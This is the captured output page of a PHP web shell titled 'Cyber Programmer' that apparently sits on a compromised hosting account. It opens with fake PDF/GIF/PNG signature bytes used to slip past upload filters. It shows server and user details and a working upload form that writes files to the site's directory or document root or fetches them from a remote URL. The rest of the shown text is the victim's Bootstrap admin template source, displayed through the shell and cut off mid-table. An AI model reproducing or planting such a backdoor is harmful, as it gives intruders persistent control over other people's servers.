%PDF- %GIF98; %PNG;
<!DOCTYPE html>
<html>
<head>
	<title>.</title>
</head>
<body bgcolor="#1f1f1f" text="#ffffff">
<link href="" rel="stylesheet" type="text/css">
<style>
	@import url('https://fonts.googleapis.com/css?family=Dosis');
	@import url('https://fonts.googleapis.com/css?family=Bungee');
body {
	font-family: "Dosis", cursive;
	text-shadow:0px 0px 1px #757575;
}

#content tr:hover {
	background-color: #636263;
	text-shadow:0px 0px 10px #fff;
}

#content .first {
	background-color: #25383C;
}

#content .first:hover {
	background-color: #25383C;
	text-shadow:0px 0px 1px #757575;
}

table {
	border: 1px #000000 dotted;
	table-layout: fixed;
}

td {
	word-wrap: break-word;
}

a {
	color: #ffffff;
	text-decoration: none;
}

a:hover {
	color: #000000;
	text-shadow:0px 0px 10px #ffffff;
}

input,select,textarea {
	border: 1px #000000 solid;
	-moz-border-radius: 5px;
	-webkit-border-radius:5px;
	border-radius:5px;
}

.gas {
	background-color: #1f1f1f;
	color: #ffffff;
	cursor: pointer;
}

select {
	background-color: transparent;
	color: #ffffff;
}

select:after {
	cursor: pointer;
}

.linka {
	background-color: transparent;
	color: #ffffff;
}

.up {
	background-color: transparent;
	color: #fff;
}

option {
	background-color: #1f1f1f;
}

::-webkit-file-upload-button {
  background: transparent;
  color: #fff;
  border-color: #fff;
  cursor: pointer;
}
</style>
<center>

<font face="Bungee" size="5">Cyber Programmer  </font></center>
<table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
<tr><td>
<img src="https://s24.picofile.com/file/8451407292/vaker.jpg" width="280" height="280" title="Logo of a company" alt="Logo of a company" class="center" />

Server : <font color='gold'>Apache</font><br>System : <font color='gold'>Linux sh00666.bluehost.com 5.14.0-687.26.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Jul 14 16:32:02 EDT 2026 x86_64</font><br>User : <font color='gold'>ndkhermy&nbsp;</font>( <font color='gold'>1200</font>)<br>PHP Version : <font color='gold'>8.5.12</font><br>Disable Function : <font color='gold'>NONE</font></font><br>Directory : &nbsp;<a href="?path=/">/</a><a href="?path=/home1">home1</a>/<a href="?path=/home1/ndkhermy">ndkhermy</a>/<a href="?path=/home1/ndkhermy/public_html">public_html</a>/<a href="?path=/home1/ndkhermy/public_html/website_1ec2d7c2">website_1ec2d7c2</a>/<a href="?path=/home1/ndkhermy/public_html/website_1ec2d7c2/webroot">webroot</a>/<a href="?path=/home1/ndkhermy/public_html/website_1ec2d7c2/webroot/admin">admin</a>/</td></tr><tr><td><br>Upload File : <form enctype="multipart/form-data" method="post">
<input type="radio" value="1" name="dirnya" checked>current_dir [ <font color='green'>Writeable</font> ]
<input type="radio" value="2" name="dirnya" >document_root [ <font color='green'>Writeable</font> ]
<br>
<input type="hidden" name="upwkwk" value="aplod">
<input type="file" name="berkas"><input type="submit" name="berkasnya" value="Upload" class="up" style="cursor: pointer; border-color: #fff"><br>
<input type="text" name="darilink" class="up" placeholder="https://anon7.xyz/upload.txt">&nbsp;<input type="text" name="namalink" class="up" size="3" placeholder="file.txt"><input type="submit" name="linknya" class="up" value="Upload" style="cursor: pointer; border-color: #fff">
</form></table><br><tr><td>Current File : /home1/ndkhermy/public_html/website_1ec2d7c2/webroot/admin/buttons.html</tr></td></table><br/><pre>&lt;!DOCTYPE html&gt;
&lt;html lang=&quot;en&quot;&gt;
  &lt;head&gt;
    &lt;meta charset=&quot;utf-8&quot;&gt;
    &lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot;&gt;
    &lt;meta name=&quot;description&quot; content=&quot;Creative - Bootstrap 3 Responsive Admin Template&quot;&gt;
    &lt;meta name=&quot;author&quot; content=&quot;GeeksLabs&quot;&gt;
    &lt;meta name=&quot;keyword&quot; content=&quot;Creative, Dashboard, Admin, Template, Theme, Bootstrap, Responsive, Retina, Minimal&quot;&gt;
    &lt;link rel=&quot;shortcut icon&quot; href=&quot;img/favicon.png&quot;&gt;

    &lt;title&gt;Button | Creative - Bootstrap 3 Responsive Admin Template&lt;/title&gt;

    &lt;!-- Bootstrap CSS --&gt;    
    &lt;link href=&quot;css/bootstrap.min.css&quot; rel=&quot;stylesheet&quot;&gt;
    &lt;!-- bootstrap theme --&gt;
    &lt;link href=&quot;css/bootstrap-theme.css&quot; rel=&quot;stylesheet&quot;&gt;
    &lt;!--external css--&gt;
    &lt;!-- font icon --&gt;
    &lt;link href=&quot;css/elegant-icons-style.css&quot; rel=&quot;stylesheet&quot; /&gt;
    &lt;link href=&quot;css/font-awesome.min.css&quot; rel=&quot;stylesheet&quot; /&gt;
    &lt;!-- Custom styles --&gt;
    &lt;link href=&quot;css/style.css&quot; rel=&quot;stylesheet&quot;&gt;
    &lt;link href=&quot;css/style-responsive.css&quot; rel=&quot;stylesheet&quot; /&gt;

    &lt;!-- HTML5 shim and Respond.js IE8 support of HTML5 --&gt;
    &lt;!--[if lt IE 9]&gt;
      &lt;script src=&quot;js/html5shiv.js&quot;&gt;&lt;/script&gt;
      &lt;script src=&quot;js/respond.min.js&quot;&gt;&lt;/script&gt;
      &lt;script src=&quot;js/lte-ie7.js&quot;&gt;&lt;/script&gt;
    &lt;![endif]--&gt;
  &lt;/head&gt;

  &lt;body&gt;
  &lt;!-- container section start --&gt;
  &lt;section id=&quot;container&quot; class=&quot;&quot;&gt;

      &lt;!--header start--&gt;
      
      &lt;header class=&quot;header dark-bg&quot;&gt;
            &lt;div class=&quot;toggle-nav&quot;&gt;
                &lt;div class=&quot;icon-reorder tooltips&quot; data-original-title=&quot;Toggle Navigation&quot; data-placement=&quot;bottom&quot;&gt;&lt;i class=&quot;icon_menu&quot;&gt;&lt;/i&gt;&lt;/div&gt;
            &lt;/div&gt;

            &lt;!--logo start--&gt;
            &lt;a href=&quot;index.html&quot; class=&quot;logo&quot;&gt;Nice &lt;span class=&quot;lite&quot;&gt;Admin&lt;/span&gt;&lt;/a&gt;
            &lt;!--logo end--&gt;

            &lt;div class=&quot;nav search-row&quot; id=&quot;top_menu&quot;&gt;
                &lt;!--  search form start --&gt;
                &lt;ul class=&quot;nav top-menu&quot;&gt;                    
                    &lt;li&gt;
                        &lt;form class=&quot;navbar-form&quot;&gt;
                            &lt;input class=&quot;form-control&quot; placeholder=&quot;Search&quot; type=&quot;text&quot;&gt;
                        &lt;/form&gt;
                    &lt;/li&gt;                    
                &lt;/ul&gt;
                &lt;!--  search form end --&gt;                
            &lt;/div&gt;

            &lt;div class=&quot;top-nav notification-row&quot;&gt;                
                &lt;!-- notificatoin dropdown start--&gt;
                &lt;ul class=&quot;nav pull-right top-menu&quot;&gt;
                    
                    &lt;!-- task notificatoin start --&gt;
                    &lt;li id=&quot;task_notificatoin_bar&quot; class=&quot;dropdown&quot;&gt;
                        &lt;a data-toggle=&quot;dropdown&quot; class=&quot;dropdown-toggle&quot; href=&quot;#&quot;&gt;
                            &lt;i class=&quot;icon-task-l&quot;&gt;&lt;/i&gt;
                            &lt;span class=&quot;badge bg-important&quot;&gt;5&lt;/span&gt;
                        &lt;/a&gt;
                        &lt;ul class=&quot;dropdown-menu extended tasks-bar&quot;&gt;
                            &lt;div class=&quot;notify-arrow notify-arrow-blue&quot;&gt;&lt;/div&gt;
                            &lt;li&gt;
                                &lt;p class=&quot;blue&quot;&gt;You have 5 pending tasks&lt;/p&gt;
                            &lt;/li&gt;
                            &lt;li&gt;
                                &lt;a href=&quot;#&quot;&gt;
                                    &lt;div class=&quot;task-info&quot;&gt;
                                        &lt;div class=&quot;desc&quot;&gt;Design PSD &lt;/div&gt;
                                        &lt;div class=&quot;percent&quot;&gt;90%&lt;/div&gt;
                                    &lt;/div&gt;
                                    &lt;div class=&quot;progress progress-striped&quot;&gt;
                                        &lt;div class=&quot;progress-bar progress-bar-success&quot; role=&quot;progressbar&quot; aria-valuenow=&quot;90&quot; aria-valuemin=&quot;0&quot; aria-valuemax=&quot;100&quot; style=&quot;width: 90%&quot;&gt;
                                            &lt;span class=&quot;sr-only&quot;&gt;90% Complete (success)&lt;/span&gt;
                                        &lt;/div&gt;
                                    &lt;/div&gt;
                                &lt;/a&gt;
                            &lt;/li&gt;
                            &lt;li&gt;
                                &lt;a href=&quot;#&quot;&gt;
                                    &lt;div class=&quot;task-info&quot;&gt;
                                        &lt;div class=&quot;desc&quot;&gt;
                                            Project 1
                                        &lt;/div&gt;
                                        &lt;div class=&quot;percent&quot;&gt;30%&lt;/div&gt;
                                    &lt;/div&gt;
                                    &lt;div class=&quot;progress progress-striped&quot;&gt;
                                        &lt;div class=&quot;progress-bar progress-bar-warning&quot; role=&quot;progressbar&quot; aria-valuenow=&quot;30&quot; aria-valuemin=&quot;0&quot; aria-valuemax=&quot;100&quot; style=&quot;width: 30%&quot;&gt;
                                            &lt;span class=&quot;sr-only&quot;&gt;30% Complete (warning)&lt;/span&gt;
                                        &lt;/div&gt;
                                    &lt;/div&gt;
                                &lt;/a&gt;
                            &lt;/li&gt;
                            &lt;li&gt;
                                &lt;a href=&quot;#&quot;&gt;
                                    &lt;div class=&quot;task-info&quot;&gt;
                                        &lt;div class=&quot;desc&quot;&gt;Digital Marketing&lt;/div&gt;
                                        &lt;div class=&quot;percent&quot;&gt;80%&lt;/div&gt;
                                    &lt;/div&gt;
                                    &lt;div class=&quot;progress progress-striped&quot;&gt;
                                        &lt;div class=&quot;progress-bar progress-bar-info&quot; role=&quot;progressbar&quot; aria-valuenow=&quot;80&quot; aria-valuemin=&quot;0&quot; aria-valuemax=&quot;100&quot; style=&quot;width: 80%&quot;&gt;
                                            &lt;span class=&quot;sr-only&quot;&gt;80% Complete&lt;/span&gt;
                                        &lt;/div&gt;
                                    &lt;/div&gt;
                                &lt;/a&gt;
                            &lt;/li&gt;
                            &lt;li&gt;
                                &lt;a href=&quot;#&quot;&gt;
                                    &lt;div class=&quot;task-info&quot;&gt;
                                        &lt;div class=&quot;desc&quot;&gt;Logo Designing&lt;/div&gt;
                                        &lt;div class=&quot;percent&quot;&gt;78%&lt;/div&gt;
                                    &lt;/div&gt;
                                    &lt;div class=&quot;progress progress-striped&quot;&gt;
                                        &lt;div class=&quot;progress-bar progress-bar-danger&quot; role=&quot;progressbar&quot; aria-valuenow=&quot;78&quot; aria-valuemin=&quot;0&quot; aria-valuemax=&quot;100&quot; style=&quot;width: 78%&quot;&gt;
                                            &lt;span class=&quot;sr-only&quot;&gt;78% Complete (danger)&lt;/span&gt;
                                        &lt;/div&gt;
                                    &lt;/div&gt;
                                &lt;/a&gt;
                            &lt;/li&gt;
                            &lt;li&gt;
                                &lt;a href=&quot;#&quot;&gt;
                                    &lt;div class=&quot;task-info&quot;&gt;
                                        &lt;div class=&quot;desc&quot;&gt;Mobile App&lt;/div&gt;
                                        &lt;div class=&quot;percent&quot;&gt;50%&lt;/div&gt;
                                    &lt;/div&gt;
                                    &lt;div class=&quot;progress progress-striped active&quot;&gt;
                                        &lt;div class=&quot;progress-bar&quot;  role=&quot;progressbar&quot; aria-valuenow=&quot;50&quot; aria-valuemin=&quot;0&quot; aria-valuemax=&quot;100&quot; style=&quot;width: 50%&quot;&gt;
                                            &lt;span class=&quot;sr-only&quot;&gt;50% Complete&lt;/span&gt;
                                        &lt;/div&gt;
                                    &lt;/div&gt;

                                &lt;/a&gt;
                            &lt;/li&gt;
                            &lt;li class=&quot;external&quot;&gt;
                                &lt;a href=&quot;#&quot;&gt;See All Tasks&lt;/a&gt;
                            &lt;/li&gt;
                        &lt;/ul&gt;
                    &lt;/li&gt;
                    &lt;!-- task notificatoin end --&gt;
                    &lt;!-- inbox notificatoin start--&gt;
                    &lt;li id=&quot;mail_notificatoin_bar&quot; class=&quot;dropdown&quot;&gt;
                        &lt;a data-toggle=&quot;dropdown&quot; class=&quot;dropdown-toggle&quot; href=&quot;#&quot;&gt;
                            &lt;i class=&quot;icon-envelope-l&quot;&gt;&lt;/i&gt;
                            &lt;span class=&quot;badge bg-important&quot;&gt;5&lt;/span&gt;
                        &lt;/a&gt;
                        &lt;ul class=&quot;dropdown-menu extended inbox&quot;&gt;
                            &lt;div class=&quot;notify-arrow notify-arrow-blue&quot;&gt;&lt;/div&gt;
                            &lt;li&gt;
                                &lt;p class=&quot;blue&quot;&gt;You have 5 new messages&lt;/p&gt;
                            &lt;/li&gt;
                            &lt;li&gt;
                                &lt;a href=&quot;#&quot;&gt;
                                    &lt;span class=&quot;photo&quot;&gt;&lt;img alt=&quot;avatar&quot; src=&quot;./img/avatar-mini.jpg&quot;&gt;&lt;/span&gt;
                                    &lt;span class=&quot;subject&quot;&gt;
                                    &lt;span class=&quot;from&quot;&gt;Greg  Martin&lt;/span&gt;
                                    &lt;span class=&quot;time&quot;&gt;1 min&lt;/span&gt;
                                    &lt;/span&gt;
                                    &lt;span class=&quot;message&quot;&gt;
                                        I really like this admin panel.
                                    &lt;/span&gt;
                                &lt;/a&gt;
                            &lt;/li&gt;
                            &lt;li&gt;
                                &lt;a href=&quot;#&quot;&gt;
                                    &lt;span class=&quot;photo&quot;&gt;&lt;img alt=&quot;avatar&quot; src=&quot;./img/avatar-mini2.jpg&quot;&gt;&lt;/span&gt;
                                    &lt;span class=&quot;subject&quot;&gt;
                                    &lt;span class=&quot;from&quot;&gt;Bob   Mckenzie&lt;/span&gt;
                                    &lt;span class=&quot;time&quot;&gt;5 mins&lt;/span&gt;
                                    &lt;/span&gt;
                                    &lt;span class=&quot;message&quot;&gt;
                                     Hi, What is next project plan?
                                    &lt;/span&gt;
                                &lt;/a&gt;
                            &lt;/li&gt;
                            &lt;li&gt;
                                &lt;a href=&quot;#&quot;&gt;
                                    &lt;span class=&quot;photo&quot;&gt;&lt;img alt=&quot;avatar&quot; src=&quot;./img/avatar-mini3.jpg&quot;&gt;&lt;/span&gt;
                                    &lt;span class=&quot;subject&quot;&gt;
                                    &lt;span class=&quot;from&quot;&gt;Phillip   Park&lt;/span&gt;
                                    &lt;span class=&quot;time&quot;&gt;2 hrs&lt;/span&gt;
                                    &lt;/span&gt;
                                    &lt;span class=&quot;message&quot;&gt;
                                        I am like to buy this Admin Template.
                                    &lt;/span&gt;
                                &lt;/a&gt;
                            &lt;/li&gt;
                            &lt;li&gt;
                                &lt;a href=&quot;#&quot;&gt;
                                    &lt;span class=&quot;photo&quot;&gt;&lt;img alt=&quot;avatar&quot; src=&quot;./img/avatar-mini4.jpg&quot;&gt;&lt;/span&gt;
                                    &lt;span class=&quot;subject&quot;&gt;
                                    &lt;span class=&quot;from&quot;&gt;Ray   Munoz&lt;/span&gt;
                                    &lt;span class=&quot;time&quot;&gt;1 day&lt;/span&gt;
                                    &lt;/span&gt;
                                    &lt;span class=&quot;message&quot;&gt;
                                        Icon fonts are great.
                                    &lt;/span&gt;
                                &lt;/a&gt;
                            &lt;/li&gt;
                            &lt;li&gt;
                                &lt;a href=&quot;#&quot;&gt;See all messages&lt;/a&gt;
                            &lt;/li&gt;
                        &lt;/ul&gt;
                    &lt;/li&gt;
                    &lt;!-- inbox notificatoin end --&gt;
                    &lt;!-- alert notification start--&gt;
                    &lt;li id=&quot;alert_notificatoin_bar&quot; class=&quot;dropdown&quot;&gt;
                        &lt;a data-toggle=&quot;dropdown&quot; class=&quot;dropdown-toggle&quot; href=&quot;#&quot;&gt;

                            &lt;i class=&quot;icon-bell-l&quot;&gt;&lt;/i&gt;
                            &lt;span class=&quot;badge bg-important&quot;&gt;7&lt;/span&gt;
                        &lt;/a&gt;
                        &lt;ul class=&quot;dropdown-menu extended notification&quot;&gt;
                            &lt;div class=&quot;notify-arrow notify-arrow-blue&quot;&gt;&lt;/div&gt;
                            &lt;li&gt;
                                &lt;p class=&quot;blue&quot;&gt;You have 4 new notifications&lt;/p&gt;
                            &lt;/li&gt;
                            &lt;li&gt;
                                &lt;a href=&quot;#&quot;&gt;
                                    &lt;span class=&quot;label label-primary&quot;&gt;&lt;i class=&quot;icon_profile&quot;&gt;&lt;/i&gt;&lt;/span&gt; 
                                    Friend Request
                                    &lt;span class=&quot;small italic pull-right&quot;&gt;5 mins&lt;/span&gt;
                                &lt;/a&gt;
                            &lt;/li&gt;
                            &lt;li&gt;
                                &lt;a href=&quot;#&quot;&gt;
                                    &lt;span class=&quot;label label-warning&quot;&gt;&lt;i class=&quot;icon_pin&quot;&gt;&lt;/i&gt;&lt;/span&gt;  
                                    John location.
                                    &lt;span class=&quot;small italic pull-right&quot;&gt;50 mins&lt;/span&gt;
                                &lt;/a&gt;
                            &lt;/li&gt;
                            &lt;li&gt;
                                &lt;a href=&quot;#&quot;&gt;
                                    &lt;span class=&quot;label label-danger&quot;&gt;&lt;i class=&quot;icon_book_alt&quot;&gt;&lt;/i&gt;&lt;/span&gt; 
                                    Project 3 Completed.
                                    &lt;span class=&quot;small italic pull-right&quot;&gt;1 hr&lt;/span&gt;
                                &lt;/a&gt;
                            &lt;/li&gt;
                            &lt;li&gt;
                                &lt;a href=&quot;#&quot;&gt;
                                    &lt;span class=&quot;label label-success&quot;&gt;&lt;i class=&quot;icon_like&quot;&gt;&lt;/i&gt;&lt;/span&gt; 
                                    Mick appreciated your work.
                                    &lt;span class=&quot;small italic pull-right&quot;&gt; Today&lt;/span&gt;
                                &lt;/a&gt;
                            &lt;/li&gt;                            
                            &lt;li&gt;
                                &lt;a href=&quot;#&quot;&gt;See all notifications&lt;/a&gt;
                            &lt;/li&gt;
                        &lt;/ul&gt;
                    &lt;/li&gt;
                    &lt;!-- alert notification end--&gt;
                    &lt;!-- user login dropdown start--&gt;
                    &lt;li class=&quot;dropdown&quot;&gt;
                        &lt;a data-toggle=&quot;dropdown&quot; class=&quot;dropdown-toggle&quot; href=&quot;#&quot;&gt;
                            &lt;span class=&quot;profile-ava&quot;&gt;
                                &lt;img alt=&quot;&quot; src=&quot;img/avatar1_small.jpg&quot;&gt;
                            &lt;/span&gt;
                            &lt;span class=&quot;username&quot;&gt;Jenifer Smith&lt;/span&gt;
                            &lt;b class=&quot;caret&quot;&gt;&lt;/b&gt;
                        &lt;/a&gt;
                        &lt;ul class=&quot;dropdown-menu extended logout&quot;&gt;
                            &lt;div class=&quot;log-arrow-up&quot;&gt;&lt;/div&gt;
                            &lt;li class=&quot;eborder-top&quot;&gt;
                                &lt;a href=&quot;#&quot;&gt;&lt;i class=&quot;icon_profile&quot;&gt;&lt;/i&gt; My Profile&lt;/a&gt;
                            &lt;/li&gt;
                            &lt;li&gt;
                                &lt;a href=&quot;#&quot;&gt;&lt;i class=&quot;icon_mail_alt&quot;&gt;&lt;/i&gt; My Inbox&lt;/a&gt;
                            &lt;/li&gt;
                            &lt;li&gt;
                                &lt;a href=&quot;#&quot;&gt;&lt;i class=&quot;icon_clock_alt&quot;&gt;&lt;/i&gt; Timeline&lt;/a&gt;
                            &lt;/li&gt;
                            &lt;li&gt;
                                &lt;a href=&quot;#&quot;&gt;&lt;i class=&quot;icon_chat_alt&quot;&gt;&lt;/i&gt; Chats&lt;/a&gt;
                            &lt;/li&gt;
                            &lt;li&gt;
                                &lt;a href=&quot;login.html&quot;&gt;&lt;i class=&quot;icon_key_alt&quot;&gt;&lt;/i&gt; Log Out&lt;/a&gt;
                            &lt;/li&gt;
                            &lt;li&gt;
                                &lt;a href=&quot;documentation.html&quot;&gt;&lt;i class=&quot;icon_key_alt&quot;&gt;&lt;/i&gt; Documentation&lt;/a&gt;
                            &lt;/li&gt;
                            &lt;li&gt;
                                &lt;a href=&quot;documentation.html&quot;&gt;&lt;i class=&quot;icon_key_alt&quot;&gt;&lt;/i&gt; Documentation&lt;/a&gt;
                            &lt;/li&gt;
                        &lt;/ul&gt;
                    &lt;/li&gt;
                    &lt;!-- user login dropdown end --&gt;
                &lt;/ul&gt;
                &lt;!-- notificatoin dropdown end--&gt;
            &lt;/div&gt;
      &lt;/header&gt;      
      &lt;!--header end--&gt;

      &lt;!--sidebar start--&gt;
      &lt;aside&gt;
          &lt;div id=&quot;sidebar&quot;  class=&quot;nav-collapse &quot;&gt;
              &lt;!-- sidebar menu start--&gt;
              &lt;ul class=&quot;sidebar-menu&quot;&gt;                
                  &lt;li class=&quot;active&quot;&gt;
                      &lt;a class=&quot;&quot; href=&quot;index.html&quot;&gt;
                          &lt;i class=&quot;icon_house_alt&quot;&gt;&lt;/i&gt;
                          &lt;span&gt;Dashboard&lt;/span&gt;
                      &lt;/a&gt;
                  &lt;/li&gt;
				  &lt;li class=&quot;sub-menu&quot;&gt;
                      &lt;a href=&quot;javascript:;&quot; class=&quot;&quot;&gt;
                          &lt;i class=&quot;icon_document_alt&quot;&gt;&lt;/i&gt;
                          &lt;span&gt;Forms&lt;/span&gt;
                          &lt;span class=&quot;menu-arrow arrow_carrot-right&quot;&gt;&lt;/span&gt;
                      &lt;/a&gt;
                      &lt;ul class=&quot;sub&quot;&gt;
                          &lt;li&gt;&lt;a class=&quot;&quot; href=&quot;form_component.html&quot;&gt;Form Elements&lt;/a&gt;&lt;/li&gt;                          
                          &lt;li&gt;&lt;a class=&quot;&quot; href=&quot;form_validation.html&quot;&gt;Form Validation&lt;/a&gt;&lt;/li&gt;
                      &lt;/ul&gt;
                  &lt;/li&gt;       
                  &lt;li class=&quot;sub-menu&quot;&gt;
                      &lt;a href=&quot;javascript:;&quot; class=&quot;&quot;&gt;
                          &lt;i class=&quot;icon_desktop&quot;&gt;&lt;/i&gt;
                          &lt;span&gt;UI Fitures&lt;/span&gt;
                          &lt;span class=&quot;menu-arrow arrow_carrot-right&quot;&gt;&lt;/span&gt;
                      &lt;/a&gt;
                      &lt;ul class=&quot;sub&quot;&gt;
                          &lt;li&gt;&lt;a class=&quot;&quot; href=&quot;general.html&quot;&gt;Components&lt;/a&gt;&lt;/li&gt;
                          &lt;li&gt;&lt;a class=&quot;&quot; href=&quot;buttons.html&quot;&gt;Buttons&lt;/a&gt;&lt;/li&gt;
                          &lt;li&gt;&lt;a class=&quot;&quot; href=&quot;grids.html&quot;&gt;Grids&lt;/a&gt;&lt;/li&gt;
                      &lt;/ul&gt;
                  &lt;/li&gt;
                  &lt;li&gt;
                      &lt;a class=&quot;&quot; href=&quot;widgets.html&quot;&gt;
                          &lt;i class=&quot;icon_genius&quot;&gt;&lt;/i&gt;
                          &lt;span&gt;Widgets&lt;/span&gt;
                      &lt;/a&gt;
                  &lt;/li&gt;
                  &lt;li&gt;                     
                      &lt;a class=&quot;&quot; href=&quot;chart-chartjs.html&quot;&gt;
                          &lt;i class=&quot;icon_piechart&quot;&gt;&lt;/i&gt;
                          &lt;span&gt;Charts&lt;/span&gt;
                          
                      &lt;/a&gt;
                                         
                  &lt;/li&gt;
                             
                  &lt;li class=&quot;sub-menu&quot;&gt;
                      &lt;a href=&quot;javascript:;&quot; class=&quot;&quot;&gt;
                          &lt;i class=&quot;icon_table&quot;&gt;&lt;/i&gt;
                          &lt;span&gt;Tables&lt;/span&gt;
                          &lt;span class=&quot;menu-arrow arrow_carrot-right&quot;&gt;&lt;/span&gt;
                      &lt;/a&gt;
                      &lt;ul class=&quot;sub&quot;&gt;
                          &lt;li&gt;&lt;a class=&quot;&quot; href=&quot;basic_table.html&quot;&gt;Basic Table&lt;/a&gt;&lt;/li&gt;
                      &lt;/ul&gt;
                  &lt;/li&gt;
                  
                  &lt;li class=&quot;sub-menu&quot;&gt;
                      &lt;a href=&quot;javascript:;&quot; class=&quot;&quot;&gt;
                          &lt;i class=&quot;icon_documents_alt&quot;&gt;&lt;/i&gt;
                          &lt;span&gt;Pages&lt;/span&gt;
                          &lt;span class=&quot;menu-arrow arrow_carrot-right&quot;&gt;&lt;/span&gt;
                      &lt;/a&gt;
                      &lt;ul class=&quot;sub&quot;&gt;                          
                          &lt;li&gt;&lt;a class=&quot;&quot; href=&quot;profile.html&quot;&gt;Profile&lt;/a&gt;&lt;/li&gt;
                          &lt;li&gt;&lt;a class=&quot;&quot; href=&quot;login.html&quot;&gt;&lt;span&gt;Login Page&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;
                          &lt;li&gt;&lt;a class=&quot;&quot; href=&quot;blank.html&quot;&gt;Blank Page&lt;/a&gt;&lt;/li&gt;
                          &lt;li&gt;&lt;a class=&quot;&quot; href=&quot;404.html&quot;&gt;404 Error&lt;/a&gt;&lt;/li&gt;
                      &lt;/ul&gt;
                  &lt;/li&gt;
                  
              &lt;/ul&gt;
              &lt;!-- sidebar menu end--&gt;
          &lt;/div&gt;
      &lt;/aside&gt;
      &lt;!--sidebar end--&gt;

      &lt;!--main content start--&gt;
      &lt;section id=&quot;main-content&quot;&gt;
          &lt;section class=&quot;wrapper&quot;&gt;
		  &lt;div class=&quot;row&quot;&gt;
				&lt;div class=&quot;col-lg-12&quot;&gt;
					&lt;h3 class=&quot;page-header&quot;&gt;&lt;i class=&quot;fa fa-th&quot;&gt;&lt;/i&gt;Button&lt;/h3&gt;
					&lt;ol class=&quot;breadcrumb&quot;&gt;
						&lt;li&gt;&lt;i class=&quot;fa fa-home&quot;&gt;&lt;/i&gt;&lt;a href=&quot;index.html&quot;&gt;Home&lt;/a&gt;&lt;/li&gt;
						&lt;li&gt;&lt;i class=&quot;fa fa-desktop&quot;&gt;&lt;/i&gt;UI Fitures&lt;/li&gt;
						&lt;li&gt;&lt;i class=&quot;fa fa-th&quot;&gt;&lt;/i&gt;button&lt;/li&gt;
					&lt;/ol&gt;
				&lt;/div&gt;
			&lt;/div&gt;
              &lt;div class=&quot;row&quot;&gt;
                &lt;div class=&quot;col-md-12&quot;&gt;
                    &lt;section class=&quot;panel&quot;&gt;
                          &lt;header class=&quot;panel-heading&quot;&gt;
                              &lt;h3&gt;Buttons&lt;/h3&gt;
                              
                          &lt;/header&gt;
                    &lt;div class=&quot;panel-body&quot;&gt;
                        &lt;table class=&quot;table table-bordered table-striped&quot;&gt;
                            &lt;thead&gt;
                                &lt;tr&gt;
                                    &lt;th&gt;Button&lt;/th&gt;
                                    &lt;th&gt;Large Button&lt;/th&gt;
                                    &lt;th&gt;Small Button&lt;/th&gt;
                                    &lt;th&gt;Disabled Button&lt;/th&gt;
                                    &lt;th&gt;Button with Icon&lt;/th&gt;
                                    &lt;th&gt;Split Button&lt;/th&gt;
                                &lt;/tr&gt;
                            &lt;/thead&gt;
                                &lt;tbody&gt;
                                    &lt;tr&gt;
                                        &lt;td&gt;&lt;a class=&quot;btn btn-default&quot; href=&quot;&quot; title=&quot;Bootstrap 3 themes generator&quot;&gt;Default&lt;/a&gt;&lt;/td&gt;
                                        &lt;td&gt;&lt;a class=&quot;btn btn-default btn-lg&quot; href=&quot;&quot; title=&quot;Bootstrap 3 themes generator&quot;&gt;Default&lt;/a&gt;&lt;/td&gt;
                                        &lt;td&gt;&lt;a class=&quot;btn btn-default btn-sm&quot; href=&quot;&quot; title=&quot;Bootstrap 3 themes generator&quot;&gt;Default&lt;/a&gt;&lt;/td&gt;
                                        &lt;td&gt;&lt;a class=&quot;btn btn-default disabled&quot; href=&quot;&quot; title=&quot;Bootstrap 3 themes generator&quot;&gt;Default&lt;/a&gt;&lt;/td&gt;
                                        &lt;td&gt;&lt;a class=&quot;btn btn-default&quot; href=&quot;&quot; title=&quot;Bootstrap 3 themes generator&quot;&gt;
                                        &lt;span class=&quot;icon_cloud-upload_alt&quot;&gt;&lt;/span&gt; Default&lt;/a&gt;&lt;/td&gt;
                                        &lt;td&gt;
                                            &lt;div class=&quot;btn-group&quot;&gt;
                                                  &lt;a class=&quot;btn btn-default&quot; href=&quot;&quot; title=&quot;Bootstrap 3 themes generator&quot;&gt;Default&lt;/a&gt;
                                                  &lt;a class=&quot;btn btn-default dropdown-toggle&quot; data-toggle=&quot;dropdown&quot; href=&quot;&quot; title=&quot;Bootstrap 3 themes generator&quot;&gt;&lt;span class=&quot;caret&quot;&gt;&lt;/span&gt;&lt;/a&gt;
                                                  &lt;ul class=&quot;dropdown-menu&quot;&gt;
                                                    &lt;li&gt;&lt;a href=&quot;&quot; title=&quot;Bootstrap 3 themes generator&quot;&gt;Action&lt;/a&gt;&lt;/li&gt;
                                                    &lt;li&gt;&lt;a href=&quot;&quot; title=&quot;Bootstrap 3 themes generator&quot;&gt;Another action&lt;/a&gt;&lt;/li&gt;
                                                    &lt;li&gt;&lt;a href=&quot;&quot; title=&quot;Bootstrap 3 themes generator&quot;&gt;Something else here&lt;/a&gt;&lt;/li&gt;
                                                    &lt;li class=&quot;divider&quot;&gt;&lt;/li&gt;
                                                    &lt;li&gt;&lt;a href=&quot;&quot; title=&quot;Bootstrap 3 themes generator&quot;&gt;Separated link&lt;/a&gt;&lt;/li&gt;
                                                  &lt;/ul&gt;
                                            &lt;/div&gt;&lt;!-- /btn-group --&gt;
                                        &lt;/td&gt;
                                    &lt;/tr&gt;
                                    &lt;tr&gt;
                                        &lt;td&gt;&lt;a class=&quot;btn btn-primary&quot; href=&quot;&quot; title=&quot;Bootstrap 3 themes generator&quot;&gt;Primary&lt;/a&gt;&lt;/td&gt;
                                        &lt;td&gt;&lt;a class=&quot;btn btn-primary btn-lg&quot; href=&quot;&quot; title=&quot;Bootstrap 3 themes generator&quot;&gt;Primary&lt;/a&gt;&lt;/td&gt;
                                        &lt;td&gt;&lt;a class=&quot;btn btn-primary btn-sm&quot; href=&quot;&quot; title=&quot;Bootstrap 3 themes generator&quot;&gt;Primary&lt;/a&gt;&lt;/td&gt;
                                        &lt;td&gt;&lt;a class=&quot;btn btn-primary disabled&quot; href=&quot;&quot; title=&quot;Bootstrap 3 themes generator&quot;&gt;Primary&lt;/a&gt;&lt;/td&gt;
                                        &lt;td&gt;&lt;a class=&quot;btn btn-primary&quot; href=&quot;&quot; title=&quot;Bootstrap 3 themes generator&quot;&gt;&lt;span class=&quot;icon_lightbulb_alt&quot;&gt;&lt;/span&gt; Primary&lt;/a&gt;&lt;/td&gt;
                                        &lt;td&gt;
